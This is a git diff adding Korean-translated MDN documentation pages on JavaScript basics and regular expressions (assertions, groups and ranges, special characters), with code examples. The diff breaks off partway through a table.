+<h3 id="Hello_world">Hello world</h3>
+
+<p>JavaScript 작성을 시작하기 위해서, Scratchpad를 열고 첫 JavaScript 코드 "Hello World" 를 작성하세요.</p>
+
+<pre class="notranslate"><code>(function(){
+ "use strict";
+ /* Start of your code */
+ function greetMe(yourName) {
+ alert('Hello ' + yourName);
+ }
+
+ greetMe('World');
+ /* End of your code */
+})();</code></pre>
+
+<p>패드에서 코드를 선택하고 Ctrl + R 키를 눌러 브라우저에서 펼쳐지는 것을 지켜보십시오! 다음 페이지에서 이 가이드는 JavaScript 구문 및 언어 기능을 소개하므로보다 복잡한 응용 프로그램을 작성할 수 있습니다. 그러나 당분간은 <code>(function () { "use strict"</code>를 코드 앞에 추가하고<code>}}) ();</code>를 코드마지막에 추가하세요. 아직은 이코드가 뭔지 잘 모르겠지만 나중에 이 코드가 의미하는 것을 배울 것입니다, 지금은 간단히 다음과 같다고 생각하세요.</p>
+
+<ol>
+ <li>성능을 크게 개선합니다.</li>
+ <li>초보자가 실수하게 만드는 Javascript의 일부 시맨틱을 막습니다.</li>
+ <li>콘솔에서 실행되는 코드 스니펫이 서로 상호 작용하지 못하도록합니다 (예 : 한 콘솔 실행에서 생성 된 내용을 다른 콘솔 실행에 사용하는 경우).</li>
+</ol>
+
+<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p>
diff --git a/files/ko/web/javascript/guide/정규식/assertions/index.html b/files/ko/web/javascript/guide/정규식/assertions/index.html
new file mode 100644
index 0000000000..350c50f8f9
--- /dev/null
+++ b/files/ko/web/javascript/guide/정규식/assertions/index.html
@@ -0,0 +1,244 @@
+---
+title: Assertions
+slug: Web/JavaScript/Guide/정규식/Assertions
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+
+<p>Assertions에는 행이나 단어의 시작 · 끝을 나타내는 경계와 (앞, 뒤 읽고 조건식을 포함한) 어떤 식 으로든 매치가 가능한 것을 나타내는 다른 패턴이 포함됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-assertions.html", "taller")}}</div>
+
+<h2 id="Types">Types</h2>
+
+<h3 id="Boundary-type_assertions">Boundary-type assertions</h3>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Characters</th>
+ <th scope="col">Meaning</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>^</code></td>
+ <td>
+ <p>Matches the beginning of input. If the multiline flag is set to true, also matches immediately after a line break character. For example, <code>/^A/</code> does not match the "A" in "an A", but does match the first "A" in "An A".</p>
+
+ <div class="blockIndicator note">
+ <p>This character has a different meaning when it appears at the start of a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">group</a>.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>$</code></td>
+ <td>
+ <p>Matches the end of input. If the multiline flag is set to true, also matches immediately before a line break character. For example, <code>/t$/</code> does not match the "t" in "eater", but does match it in "eat".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\b</code></td>
+ <td>
+ <p>Matches a word boundary. This is the position where a word character is not followed or preceded by another word-character, such as between a letter and a space. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero.</p>
+
+ <p>Examples:</p>
+
+ <ul>
+ <li><code>/\bm/</code> matches the "m" in "moon".</li>
+ <li><code>/oo\b/</code> does not match the "oo" in "moon", because "oo" is followed by "n" which is a word character.</li>
+ <li><code>/oon\b/</code> matches the "oon" in "moon", because "oon" is the end of the string, thus not followed by a word character.</li>
+ <li><code>/\w\b\w/</code> will never match anything, because a word character can never be followed by both a non-word and a word character.</li>
+ </ul>
+
+ <p>To match a backspace character (<code>[\b]</code>), see <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">Character Classes</a>.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\B</code></td>
+ <td>
+ <p>Matches a non-word boundary. This is a position where the previous and next character are of the same type: Either both must be words, or both must be non-words, for example between two letters or between two spaces. The beginning and end of a string are considered non-words. Same as the matched word boundary, the matched non-word boundary is also not included in the match. For example, <code>/\Bon/</code> matches "on" in "at noon", and <code>/ye\B/</code> matches "ye" in "possibly yesterday".</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Other_assertions">Other assertions</h3>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The <code>?</code> character may also be used as a quantifier.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Characters</th>
+ <th scope="col">Meaning</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>x(?=y)</code></td>
+ <td>
+ <p><strong>Lookahead assertion: </strong>Matches "x" only if "x" is followed by "y". For example, /<code>Jack(?=Sprat)/</code> matches "Jack" only if it is followed by "Sprat".<br>
+ <code>/Jack(?=Sprat|Frost)/</code> matches "Jack" only if it is followed by "Sprat" or "Frost". However, neither "Sprat" nor "Frost" is part of the match results.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>x(?!y)</code></td>
+ <td>
+ <p><strong>Negative lookahead assertion: </strong>Matches "x" only if "x"<span> is not followed by </span>"y"<span>.</span> For example, <code>/\d+(?!\.)/</code><span> matches a number only if it is not followed by a decimal point. </span><code>/\d+(?!\.)/.exec('3.141')</code> matches "141" but not "3.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>(?&lt;=y)x</code></td>
+ <td>
+ <p><strong>Lookbehind assertion: </strong>Matches "x" only if "x" is preceded by "y". For example, <code>/(?&lt;=Jack)Sprat/</code><span> matches "Sprat" only if it is preceded by "Jack". </span><code>/(?&lt;=Jack|Tom)Sprat/</code> matches "Sprat" only if it is preceded by "Jack" or "Tom". However, neither "Jack" nor "Tom" is part of the match results.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>(?&lt;!y)x</code></td>
+ <td>
+ <p><strong>Negative lookbehind assertion: </strong>Matches "x" only if "x" is not preceded by "y". For example, <code>/(?&lt;!-)\d+/</code><span> matches a number only if it is not preceded by a minus sign. </span><code>/(?&lt;!-)\d+/.exec('3')</code> matches "3". <code>/(?&lt;!-)\d+/.exec('-3')</code>  match is not found because the number is preceded by the minus sign.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="General_boundary-type_overview_example">General boundary-type overview example</h3>
+
+<pre class="brush: js notranslate">// Using Regex boundaries to fix buggy string.
+buggyMultiline = `tey, ihe light-greon apple
+tangs on ihe greon traa`;
+
+// 1) Use ^ to fix the matching at the begining of the string, and right after newline.
+buggyMultiline = buggyMultiline.replace(/^t/gim,'h');
+console.log(1, buggyMultiline); // fix 'tey', 'tangs' =&gt; 'hey', 'hangs'. Avoid 'traa'.
+
+// 2) Use $ to fix matching at the end of the text.
+buggyMultiline = buggyMultiline.replace(/aa$/gim,'ee.');
+console.log(2, buggyMultiline); // fix 'traa' =&gt; 'tree'.
+
+// 3) Use \b to match characters right on border between a word and a space.
+buggyMultiline = buggyMultiline.replace(/\bi/gim,'t');
+console.log(3, buggyMultiline); // fix 'ihe' but does not touch 'light'.
+
+// 4) Use \B to match characters inside borders of an entity.
+fixedMultiline = buggyMultiline.replace(/\Bo/gim,'e');
+console.log(4, fixedMultiline); // fix 'greon' but does not touch 'on'.
+</pre>
+
+<h3 id="Matching_the_beginning_of_an_input_using_a_control_character">Matching the beginning of an input using a ^ control character</h3>
+
+<p>입력 시작시 일치를 위해 <code>^</code>를 사용하십시오. 이 예에서는 <code>/^A/</code> regex로 'A'로 시작하는 결과를 얻습니다. 여기서 <code>^</code>는 한 가지 역할 만합니다. 적절한 결과를 보기위해 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표</a> 함수가있는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">필터</a> 메소드를 사용합니다.</p>
+
+<pre class="brush: js notranslate">let fruits = ["Apple", "Watermelon", "Orange", "Avocado", "Strawberry"];
+
+// Select fruits started with 'A' by /^A/ Regex.
+// Here '^' control symbol used only in one role: Matching begining of an input.
+
+let fruitsStartsWithA = fruits.filter(fruit =&gt; /^A/.test(fruit));
+console.log(fruitsStartsWithA); // [ 'Apple', 'Avocado' ]
+</pre>
+
+<p>두 번째 예제에서 <code>^</code>는 두 가지 모두에 사용됩니다 : 입력의 일치 시작점, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">그룹</a>에서 사용될 때 부정 또는 보완 문자 세트.</p>
+
+<pre class="brush: js notranslate">let fruits = ["Apple", "Watermelon", "Orange", "Avocado", "Strawberry"];
+
+// Selecting fruits that dose not start by 'A' by a /^[^A]/ regex.
+// In this example, two meanings of '^' control symbol are represented:
+// 1) Matching begining of the input
+// 2) A negated or complemented character set: [^A]
+// That is, it matches anything that is not enclosed in the brackets.
+
+let fruitsStartsWithNotA = fruits.filter(fruit =&gt; /^[^A]/.test(fruit));
+
+console.log(fruitsStartsWithNotA); // [ 'Watermelon', 'Orange', 'Strawberry' ]</pre>
+
+<h3 id="Matching_a_word_boundary">Matching a word boundary</h3>
+
+<pre class="brush: js notranslate">let fruitsWithDescription = ["Red apple", "Orange orange", "Green Avocado"];
+
+// Select descriptions that contains 'en' or 'ed' words endings:
+let enEdSelection = fruitsWithDescription.filter(descr =&gt; /(en|ed)\b/.test(descr));
+
+console.log(enEdSelection); // [ 'Red apple', 'Green Avocado' ]</pre>
+
+<h3 id="Lookahead_assertion">Lookahead assertion</h3>
+
+<pre class="brush: js notranslate">// JS Lookahead assertion x(?=y)
+
+let regex = /First(?= test)/g;
+
+console.log('First test'.match(regex)); // [ 'First' ]
+console.log('First peach'.match(regex)); // null
+console.log('This is a First test in a year.'.match(regex)); // [ 'First' ]
+console.log('This is a First peach in a month.'.match(regex)); // null
+</pre>
+
+<h3 id="Basic_negative_lookahead_assertion">Basic negative lookahead assertion</h3>
+
+<p>For example, <code>/\d+(?!\.)/</code><span> matches a number only if it is not followed by a decimal point. </span><code>/\d+(?!\.)/.exec('3.141')</code> matches "141" but not "3.</p>
+
+<pre class="brush: js notranslate">console.log(/\d+(?!\.)/g.exec('3.141')); // [ '141', index: 2, input: '3.141' ]
+</pre>
+
+<h3 id="Different_meaning_of_!_combination_usage_in_Assertions_and_Ranges">Different meaning of '?!' combination usage in Assertions and  Ranges </h3>
+
+<p>Different meaning of <code>?!</code> combination usage in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions">Assertions</a> <code>/x(?!y)/ </code>and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">Ranges</a> <code>[^?!]</code>.</p>
+
+<pre class="brush: js notranslate">let orangeNotLemon = "Do you want to have an orange? Yes, I do not want to have a lemon!";
+
+// Different meaning of '?!' combination usage in Assertions /x(?!y)/ and Ranges /[^?!]/
+let selectNotLemonRegex = /[^?!]+have(?! a lemon)[^?!]+[?!]/gi
+console.log(orangeNotLemon.match(selectNotLemonRegex)); // [ 'Do you want to have an orange?' ]
+
+let selectNotOrangeRegex = /[^?!]+have(?! an orange)[^?!]+[?!]/gi
+console.log(orangeNotLemon.match(selectNotOrangeRegex)); // [ ' Yes, I do not want to have a lemon!' ]
+</pre>
+
+<h3 id="Lookbehind_assertion">Lookbehind assertion</h3>
+
+<pre class="brush: js notranslate">let oranges = ['ripe orange A ', 'green orange B', 'ripe orange C',];
+
+let ripe_oranges = oranges.filter( fruit =&gt; fruit.match(/(?&lt;=ripe )orange/));
+console.log(ripe_oranges); // [ 'ripe orange A ', 'ripe orange C' ]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-assertion', 'RegExp: Assertions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>For browser compatibility information, check out the <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Browser_compatibility">main Regular Expressions compatibility table</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular expressions guide</a>
+
+ <ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes">Character classes</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers">Quantifiers</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">Unicode property escapes</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">Groups and ranges</a></li>
+ </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp">The <code>RegExp()</code> constructor</a></li>
+</ul>
diff --git a/files/ko/web/javascript/guide/정규식/groups_and_ranges/index.html b/files/ko/web/javascript/guide/정규식/groups_and_ranges/index.html
new file mode 100644
index 0000000000..2e2109b4ed
--- /dev/null
+++ b/files/ko/web/javascript/guide/정규식/groups_and_ranges/index.html
@@ -0,0 +1,91 @@
+---
+title: Groups and Ranges
+slug: Web/JavaScript/Guide/정규식/Groups_and_Ranges
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
+
+<p>그룹(Groups)과 범위(ranges)는 표현 문자의 그룹과 범위를 나타냅니다.</p>
+
+<h2 id="Types">Types</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Characters</th>
+ <th scope="col">Meaning</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code><em>x</em>|<em>y</em></code></td>
+ <td>
+ <p><code>x</code>또는 <code>y</code>와 매칭되는 경우. 예를들면 <code>/green|red/</code> 은 "green apple"의 "green"과 매치되고 "red apple"의 "red"와 매치됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>[xyz]<br>
+ [a-c]</code></td>
+ <td>
+ <p>A character set. Matches any one of the enclosed characters. You can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character. It is also possible to include a character class in a character set.</p>
+
+ <p>For example, <code>[abcd]</code> is the same as <code>[a-d]</code>. They match the "b" in "brisket" and the "c" in "chop".</p>
+
+ <p>For example, [abcd-] and [-abcd] match the "b" in "brisket", the "c" in "chop" and the "-" (hyphen) in "non-profit".</p>
+
+ <p>For example, [\w-] is the same as [A-Za-z0-9_-]. They match the "b" in "brisket", the "c" in "chop" and the "n" in "non-profit".</p>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <p><code>[^xyz]<br>
+ [^a-c]</code></p>
+ </td>
+ <td>
+ <p>A negated or complemented character set. That is, it matches anything that is not enclosed in the brackets. You can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character. For example, <code>[^abc]</code> is the same as <code>[^a-c]</code>. They initially match "o" in "bacon" and "h" in "chop".</p>
+
+ <div class="blockIndicator note">
+ <p>The ^ character may also indicate the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">beginning of input</a>.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <td><code>(<em>x</em>)</code></td>
+ <td>
+ <p><strong>Capturing group: </strong>Matches <code><em>x</em></code> and remembers the match. For example, <code>/(foo)/</code> matches and remembers "foo" in "foo bar". </p>
+
+ <p>A regular expression may have multiple capturing groups. In results, matches to capturing groups typically in an array whose members are in the same order as the left parentheses in the capturing group. This is usually just the order of the capturing groups themselves. This becomes important when capturing groups are nested. Matches are accessed using the index of the the result's elements (<code>[1], ..., [n]</code>) or from the predefined <code>RegExp</code> object's properties (<code>$1, ..., $9</code>).</p>
+
+ <p>Capturing groups have a performance penalty. If you don't need the matched substring to be recalled, prefer non-capturing parentheses (see below).</p>
+
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">String.match()</a></code> won't return groups if the <code>/.../g</code> flag is set. However, you can still use <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll">String.matchAll()</a></code> to get all matches.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>\<em>n</em></code></td>
+ <td>
+ <p>Where <code><em>n</em></code> is a positive integer. A back reference to the last substring matching the n parenthetical in the regular expression (counting left parentheses). For example, <code>/apple(,)\sorange\1/</code> matches "apple, orange," in "apple, orange, cherry, peach". A complete example follows this table.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>(?&lt;Name&gt;x)</code></td>
+ <td>
+ <p><strong>Named capturing group: </strong>Matches <code>x</code> and stores it on the groups property of the returned matches under the name specified by <code>&lt;Name&gt;</code>. The angle brackets ('<code>&lt;</code>' and '<code>&gt;</code>') are required for group name.</p>
+
+ <p>For example, to extract the United States area code from a phone number, I could use <code>/\((?&lt;area&gt;\d\d\d)\)/</code>. The resulting number would appear under <code>matches.groups.area</code>.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>(?:<em>x</em>)</code></td>
+ <td><strong>Non-capturing group: </strong>Matches <code><em>x</em></code> but does not remember the match. The matched substring cannot be recalled from the resulting array's elements (<code>[1], ..., [n]</code>) or from the predefined <code>RegExp</code> object's properties (<code>$1, ..., $9</code>).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>Firefox currently doesn't support named groups. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1362154">corresponding issue</a>.</p>
+
+<h2 id="See_also">See also</h2>
diff --git a/files/ko/web/javascript/guide/정규식/index.html b/files/ko/web/javascript/guide/정규식/index.html
new file mode 100644
index 0000000000..5fbbcef0a0
--- /dev/null
+++ b/files/ko/web/javascript/guide/정규식/index.html
@@ -0,0 +1,666 @@
+---
+title: 정규 표현식
+slug: Web/JavaScript/Guide/정규식
+tags:
+ - 자바스크립트
+ - 정규식
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</div>
+
+<p class="summary">정규 표현식은 문자열에 나타는 특정 문자 조합과 대응시키기 위해 사용되는 패턴입니다. 자바스크립트에서, 정규 표현식 또한 객체입니다.  이 패턴들은 {{jsxref("RegExp")}}의 {{jsxref("RegExp.exec", "exec")}} 메소드와 {{jsxref("RegExp.test", "test")}} 메소드  ,그리고 {{jsxref("String")}}의  {{jsxref("String.match", "match")}}메소드 , {{jsxref("String.replace", "replace")}}메소드 , {{jsxref("String.search", "search")}}메소드 ,  {{jsxref("String.split", "split")}} 메소드와 함께 쓰입니다 . 이 장에서는 자바스크립트의 정규식에 대하여 설명합니다.</p>
+
+<h2 id="정규_표현식_만들기">정규 표현식 만들기</h2>
+
+<p>(역주: 정규 표현식을 줄여서 '정규식'이라고 하기도 합니다. 아래 부분부터 '정규식'이라는 용어를 사용하겠습니다.)</p>
+
+<p>정규식을 만드는 방법에는 두 가지가 있습니다.</p>
+
+<p>정규식 리터럴(슬래쉬"/"로 감싸는 패턴)을 사용하는 방법은 다음과 같습니다.</p>
+
+<pre class="brush: js">var re = /ab+c/;
+</pre>
+
+<p>정규식 리터럴은 스크립트가 불러와질 때 컴파일됩니다. 만약 정규식이 상수라면, 이렇게 사용하는 것이 성능을 향상시킬 수 있습니다.</p>
+
+<p>다른 방법으로는,  {{jsxref("RegExp")}} 객체의 생성자 함수를 호출하는 방법도 있습니다:</p>
+
+<pre class="brush: js">var re = new RegExp("ab+c");
+</pre>
+
+<p>생성자 함수를 사용하면 정규식이 실행 시점에 컴파일됩니다. 정규식의 패턴이 변경될 수 있는 경우, 혹은 사용자 입력과 같이 다른 출처로부터 패턴을 가져와야 하는 경우에는 생성자 함수를 사용하세요.</p>
+
+<h2 id="정규식_패턴_작성하기">정규식 패턴 작성하기</h2>
+
+<p>정규식 패턴은 <code>/abc/</code> 같이 단순 문자로 구성될 수도 있고, <code>/ab*c/</code> 또는 <code>/Chapter (\d+)\.\d*/</code>와 같이 단순 문자와 특수 문자의 조합으로 구성될 수도 있습니다. 마지막 예제는 기억장치처럼 쓰이는 괄호를 포함하고 있습니다. {{web.link("#.ED.8C.A8.ED.84.B4.ED.99.94.EB.90.9C_.EB.B6.80.EB.B6.84_.EB.AC.B8.EC.9E.90.EC.97.B4_.EC.9D.BC.EC.B9.98_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0", "패턴화된 부분 문자열 일치 사용하기") }}에서 설명하는것 처럼 패턴에서 괄호를 포함한 부분은 나중에 사용하기 위하여 저장됩니다.</p>
+
+<h3 id="단순_패턴_사용하기">단순 패턴 사용하기</h3>
+
+<p>단순 패턴은 문자열을 있는 그대로 대응시키고자 할 때 사용됩니다. 예를 들어, <code>/abc/</code>라는 패턴은 문자열에서 정확히 'abc' 라는 문자들이 모두 함께 순서대로 나타나야 대응됩니다. 위의 패턴은 "Hi, do you know your abc's?" 와 "The latest airplane designs evolved from slabcraft." 두가지 예에서 부분 문자열 'abc'에 대응될 것입니다.  'Grab crab' 이라는 문자열에서 'ab c' 라는 부분 문자열을 포함하고 있지만, 'abc'를 정확하게 포함하고 있지 않기 때문에 대응되지 않습니다.</p>
+
+<h3 id="특수_문자_사용하기">특수 문자 사용하기</h3>
+
+<p>검색에서 하나 이상의 b들을 찾거나, 혹은 공백을 찾는 것과 같이 '있는 그대로의 대응' 이상의 대응을 필요로 할 경우, 패턴에 특수한 문자를 포함시킵니다. 예를 들어, <code>/ab*c/</code> 패턴은  'a' 문자 뒤에 0개 이상의 'b' 문자(<code>*</code> 문자는 바로 앞의 문자가 0개 이상이라는 것을 의미합니다)가 나타나고 바로 뒤에 'c' 문자가 나타나는 문자 조합에 대응됩니다. 문자열 "cbbabbbbcdebc," 에서 위의 패턴은 부분 문자열 'abbbbc' 와 대응됩니다.</p>
+
+<p>아래 표는 정규식에서 사용되는 모든 특수문자 목록 및 그에 대한 설명입니다.</p>
+
+<table class="standard-table">
+ <caption>정규식에서의 특수문자</caption>
+ <thead>
+ <tr>
+ <th scope="col">Character</th>
+ <th scope="col">Meaning</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="#special-backslash" id="special-backslash" name="special-backslash"><code>\</code></a></td>
+ <td>
+ <p>다음의 규칙에 따라 일치합니다:<br>
+ <br>
+ 특수 문자가 아닌 문자(non-special character) 앞에서 사용된 백슬래시는 '해당 문자는 특별하고, 문자 그대로 해석되면 안된다'는 사실을 가리킵니다. 예를 들어, 앞에 \가 없는 '<code>b</code>'는 보통 소문자 b가 나오는 패턴과 대응됩니다. 그러나 '<code>\b</code>' 자체는 어떤 문자와도 대응되지 않습니다; 이 문자는 특별한 <a href="#special-word-boundary" title="#special-word-boundary">단어 경계 문자</a>를 형성합니다.<br>
+ <br>
+ 특수 문자 앞에 위치한 백슬래시는 '다음에 나오는 문자는 특별하지않고, 문자 그대로 해석되어야 한다'는 사실을 가리킵니다. 예를 들어, 패턴 <code>/a*/</code> 에서의 특수문자 '<code>*</code>'는 0개 이상의 'a' 문자가 등장함을 나타냅니다. 이와는 다르게, 패턴 <code>/a\*/</code> 는 '<code>*</code>'이 특별하지 않다는 것을 나타내며, 'a*'와 같은 문자열과 대응될 수 있습니다.<br>
+ <br>
+ RegExp("pattern") 표기를 쓰면서 \ 자체를 이스케이프 하는 것을 잊지 마세요. 왜냐하면 \ 는 문자열에서도 이스케이프 문자이기 때문입니다. (역주: <code>/a\*/</code> 와 같은 패턴을 생성자로 만들려면 <code>new RegExp('a\\*')</code>와 같이 백슬래시 자체를 이스케이프 시켜주어야 합니다.)</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-caret" id="special-caret" name="special-caret"><code>^</code></a></td>
+ <td>입력의 시작 부분에 대응됩니다. 만약 다중행 플래그가 참으로 설정되어 있다면, 줄 바꿈 문자 바로 다음 부분과도 대응됩니다.<br>
+ <br>
+ 예를 들어, <code>/^A/</code> 는 "an A" 의 'A'와는 대응되지 않습니다, 그러나 "An E" 의 'A'와는 대응됩니다.<br>
+ <br>
+ '<code>^</code>' 가 문자셋([abc]) 패턴의 첫 글자로 쓰인다면, 그 때는 전혀 다른 의미를 가집니다. 자세한 내용은 <a href="#special-negated-character-set" title="#special-negated-character-set">역 문자셋</a>을 참고하세요.</td>
+ </tr>
+ <tr>
+ <td><a href="#special-dollar" id="special-dollar" name="special-dollar"><code>$</code></a></td>
+ <td>
+ <p>입력의 끝 부분과 대응됩니다. 만약 다중행 플래그가 참으로 설정되어 있다면, 줄 바꿈 문자의 바로 앞 부분과도 대응됩니다.</p>
+
+ <p>예를 들어, <code>/t$/</code> 는 "eater" 의 't'에는 대응되지 않습니다, 그러나 "eat" 과는 대응됩니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-asterisk" id="special-asterisk" name="special-asterisk"><code>*</code></a></td>
+ <td>
+ <p>앞의 표현식이 0회 이상 연속으로 반복되는 부분과 대응됩니다. {0,} 와 같은 의미입니다.</p>
+
+ <p>예를 들어, <code>/bo*/</code> 는 "A ghost booooed" 의 'boooo' 와 대응되고, "A bird warbled" 의 'b'에 대응되지만 "A goat grunted" 내의 어느 부분과도 대응되지 않습니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-plus" id="special-plus" name="special-plus"><code>+</code></a></td>
+ <td>
+ <p>앞의 표현식이 1회 이상 연속으로 반복되는 부분과 대응됩니다. <code>{1,}</code> 와 같은 의미입니다.</p>
+
+ <p>예를 들어, <code>/a+/</code> 는 "candy"의 'a'에 대응되고 "caaaaaaandy" 의 모든 'a'들에 대응되지만, "cndy" 내의 어느 부분과도 대응되지 않습니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-questionmark" id="special-questionmark" name="special-questionmark"><code>?</code></a></td>
+ <td>앞의 표현식이 0 또는 1회 등장하는 부분과 대응됩니다. <code>{0,1}</code> 와 같은 의미입니다.<br>
+ <br>
+ 예를 들어, <code>/e?le?/</code> 는 "angel"의 'el' 에 대응되고, "angle"의 'le' 에 대응되고 또한 "oslo" 의 'l'에도 대응됩니다.<br>
+ <br>
+ 만약 수량자 *, +, ?, {} 바로 뒤에 사용하면, 기본적으로 탐욕스럽던(가능한 한 많이 대응시킴) 수량자를 탐욕스럽지 않게(가능한 가장 적은 문자들에 대응시킴) 만듭니다. 예를 들어, <code>/\d+/</code>를 "123abc"에 적용시키면 "123"과 대응됩니다. 그러나 <code>/\d+?/</code>를 같은 문자열에 적용시키면 오직 "1"과만 대응됩니다.<br>
+ <br>
+ 또한 이 문자는 <code>x(?=y)</code> 와 <code>x(?!y)</code> 항목에서 설명하는 바와 같이 사전 검증(lookahead assertion)을 위해서도 쓰입니다.<br>
+  </td>
+ </tr>
+ <tr>
+ <td><a href="#special-dot" id="special-dot" name="special-dot"><code>.</code></a></td>
+ <td>
+ <p>개행 문자를 제외한 모든 단일 문자와 대응됩니다.</p>
+
+ <p>예를 들어, <code>/.n/</code>는 "nay, an apple is on the tree"에서 'an'과 'on'에 대응되지만, 'nay' 에는 대응되지 않습니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-capturing-parentheses" id="special-capturing-parentheses" name="special-capturing-parentheses"><code>(x)</code></a></td>
+ <td>
+ <p>다음의 예제가 보여주는것 처럼 'x'에 대응되고, 그것을 기억합니다. 괄호는 <em>포획 괄호(capturing parentheses)라</em> 불립니다.<br>
+ <br>
+ 패턴 <code>/(foo) (bar) \1 \2/</code> 안의 '<code>(foo)</code>' 와 '<code>(bar)</code>'는 문자열"foo bar foo bar"에서 처음의 두 단어에 대응되고 이를 기억합니다. 패턴 내부의 <code>\1</code>와 <code>\2</code>는 문자열의 마지막 두 단어에 대응됩니다. (역주: \n 패턴은 앞의 n번째 포획괄호에 대응된 문자열과 똑같은 문자열에 대응됩니다.) <code>\1, \2, \n</code>과 같은 문법은 정규식의 패턴 부분에서 사용됩니다. 정규식의 치환 부분에서는 <code>$1, $2, $n</code>과 같은 문법이 사용되어야 합니다. 예를 들어, <code>'bar foo'.replace( /(...) (...)/, '$2 $1')</code>와 같이 사용되어야 합니다. <code>$&amp;</code> 패턴은 앞에서 대응된 전체 문자열을 가리킵니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="#special-non-capturing-parentheses" id="special-non-capturing-parentheses" name="special-non-capturing-parentheses"><code>(?:x)</code></a></td>
+ <td>'x'에 대응되지만 대응된 것을 기억하지 않습니다. 괄호는 <em>비포획 괄호(non-capturing parentheses)</em>라고 불리우고, 정규식 연산자가 같이 동작할 수 있게 하위 표현을 정의할 수 있습니다. 정규식 예제 <code>/(?:foo){1,2}/</code>을 생각해보세요. 만약 정규식이 <code>/foo{1,2}/</code>라면, <code>{1,2}</code>는 'foo'의 마지막 'o' 에만 적용됩니다. 비포획 괄호과 같이 쓰인다면, <code>{1,2}</code>는 단어 'foo' 전체에 적용됩니다.</td>
+ </tr>
+ <tr>
